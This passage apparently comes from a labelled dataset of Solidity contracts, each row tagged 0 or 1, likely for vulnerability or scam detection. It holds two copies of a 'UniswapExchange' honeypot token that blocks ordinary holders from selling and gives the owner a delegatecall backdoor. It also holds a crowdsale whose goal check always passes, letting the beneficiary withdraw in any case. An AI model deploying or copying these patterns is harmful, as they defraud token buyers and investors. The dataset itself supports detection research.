transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now));
Transfer(msg.sender, _recipients[j], _values[j]);
}
balances[msg.sender] = balances[msg.sender].sub(total);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
return true;
}
} | 1 | 4,161 |
pragma solidity ^0.4.11;
interface token {
function transfer(address receiver, uint amount) public;
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
bool changePrice = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
event ChangePrice(uint prices);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint etherCostOfEachToken,
address addressOfTokenUsedAsReward
)public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 finney;
deadline = now + durationInMinutes * 1 minutes;
price = etherCostOfEachToken * 1 finney;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () public payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() public afterDeadline {
if (amountRaised >= 0){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function transferToken(uint amount)public afterDeadline {
if (beneficiary == msg.sender)
{
tokenReward.transfer(msg.sender, amount);
FundTransfer(msg.sender, amount, true);
}
}
function safeWithdrawal()public afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
function checkPriceCrowdsale(uint newPrice1, uint newPrice2)public {
if (beneficiary == msg.sender) {
price = (newPrice1 * 1 finney)+(newPrice2 * 1 szabo);
ChangePrice(price);
changePrice = true;
}
}
} | 1 | 3,737 |
pragma solidity^0.4.24;
contract ERC20 {
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function transfer(address to, uint tokens) public returns (bool success);
}
contract father {
function fallback(uint num,address sender,uint amount) public;
}
contract fathercontract{
address owner;
address public NEO = 0xc55a13e36d93371a5b036a21d913a31CD2804ba4;
mapping(address => uint)value;
mapping(address => address) contr;
constructor() public {
owner = msg.sender;
}
function use(uint _value) public {
value[msg.sender] = _value*1e8;
ERC20(NEO).transferFrom(msg.sender,this,value[msg.sender]);
if (contr[msg.sender] == address(0)){
getsometoken(msg.sender,value[msg.sender]);
}else{
getsometokenn(msg.sender,value[msg.sender]);
}
}
function getsometokenn(address _sender,uint _value) internal{
ERC20(NEO).transfer(contr[_sender],_value);
contr[_sender].call.value(0)();
}
function getsometoken(address _sender,uint _value) internal {
contr[msg.sender] = new getfreetoken(this,_sender);
ERC20(NEO).transfer(contr[_sender],_value);
contr[_sender].call.value(0)();
}
function fallback(uint num,address sender,uint amount) public {
require(contr[sender] == msg.sender);
if (num == 10){
uint a = (amount-value[sender])/100*5;
ERC20(NEO).transfer(sender,amount-a);
ERC20(NEO).transfer(owner,a);
value[sender] = 0;
}else{
getsometokenn(sender,amount);
}
}
}
contract getfreetoken {
address sender;
address fatherr;
address NEO = 0xc55a13e36d93371a5b036a21d913a31CD2804ba4;
uint num;
constructor(address _father,address _sender) public {
fatherr = _father;
sender = _sender;
}
function() public {
trans();
}
function trans() internal {
uint A = ERC20(NEO).balanceOf(this);
ERC20(NEO).transfer(fatherr,ERC20(NEO).balanceOf(this));
num++;
father(fatherr).fallback(num,sender,A);
if (num == 10){num = 0;}
}
} | 0 | 2,163 |
pragma solidity ^0.4.18;
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
uint256 constant MAX_UINT256 = 2**256 - 1;
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract ProgrammersTestToken is StandardToken {
string public name = "Programmers' Test Token";
uint8 public decimals = 0;
string public symbol = 'PTT';
uint256 public totalSupply = 500000000;
function ProgrammersTestToken() public {
balances[msg.sender] = totalSupply;
}
} | 1 | 2,636 |
pragma solidity ^0.4.19;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract W4T {
string public name = 'W4T';
string public symbol = 'W4T';
uint8 public decimals = 18;
uint256 public totalSupply = 1000000000000000000000000;
uint public miningReward = 1000000000000000000;
uint private randomNumber;
address public owner;
uint public domainPrice = 10000000000000000000;
uint public bytePrice = 100000000000000;
uint public premiumDomainK = 10;
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public successesOf;
mapping (address => uint256) public failsOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (bytes8 => bool) public zones;
mapping (bytes8 => mapping (bytes32 => address)) public domains;
mapping (bytes8 => mapping (bytes32 => mapping (bytes32 => string))) public pages;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event ZoneRegister(bytes8 zone);
event DomainRegister(bytes8 zone, string domain, address owner);
event PageRegister(bytes8 zone, string domain, bytes32 path, string content);
event DomainTransfer(bytes8 zone, string domain, address owner);
function stringToBytes32(string memory source) internal pure returns (bytes32 result) {
assembly {
result := mload(add(source, 32))
}
}
function W4T() public {
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
}
modifier onlyOwner {
if (msg.sender != owner) revert();
_;
}
function transferOwnership(address newOwner) external onlyOwner {
owner = newOwner;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) external {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) internal returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function registerZone(bytes8 zone) external onlyOwner {
zones[zone] = true;
ZoneRegister(zone);
}
function registerDomain(bytes8 zone, string domain) external {
uint domainLength = bytes(domain).length;
require(domainLength >= 2 && domainLength <= 32);
bytes32 domainBytes = stringToBytes32(domain);
require(zones[zone]);
require(domains[zone][domainBytes] == 0x0);
uint amount = domainPrice;
if (domainLength <= 4) {
amount *= premiumDomainK ** (5 - domainLength);
}
burn(amount);
domains[zone][domainBytes] = msg.sender;
DomainRegister(zone, domain, msg.sender);
}
function registerPage(bytes8 zone, string domain, bytes32 path, string content) external {
uint domainLength = bytes(domain).length;
require(domainLength >= 2 && domainLength <= 32);
bytes32 domainBytes = stringToBytes32(domain);
require(zones[zone]);
require(domains[zone][domainBytes] == msg.sender);
burn(bytePrice * bytes(content).length);
pages[zone][domainBytes][path] = content;
PageRegister(zone, domain, path, content);
}
function transferDomain(bytes8 zone, string domain, address newOwner) external {
uint domainLength = bytes(domain).length;
require(domainLength >= 2 && domainLength <= 32);
bytes32 domainBytes = stringToBytes32(domain);
require(zones[zone]);
require(domains[zone][domainBytes] == msg.sender);
domains[zone][domainBytes] = newOwner;
DomainTransfer(zone, domain, newOwner);
}
function () external payable {
if (msg.value == 0) {
randomNumber += block.timestamp + uint(msg.sender);
uint minedAtBlock = uint(block.blockhash(block.number - 1));
uint minedHashRel = uint(sha256(minedAtBlock + randomNumber + uint(msg.sender))) % 100000;
uint balanceRel = balanceOf[msg.sender] * 1000 / totalSupply;
if (balanceRel >= 1) {
if (balanceRel > 29) {
balanceRel = 29;
}
balanceRel = 2 ** balanceRel;
balanceRel = 50000 / balanceRel;
balanceRel = 50000 - balanceRel;
if (minedHashRel < balanceRel) {
uint reward = miningReward + minedHashRel * 100000000000000;
balanceOf[msg.sender] += reward;
totalSupply += reward;
Transfer(0, this, reward);
Transfer(this, msg.sender, reward);
successesOf[msg.sender]++;
} else {
Transfer(this, msg.sender, 0);
failsOf[msg.sender]++;
}
} else {
revert();
}
} else {
revert();
}
}
} | 1 | 4,904 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,949 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,768 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public {
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
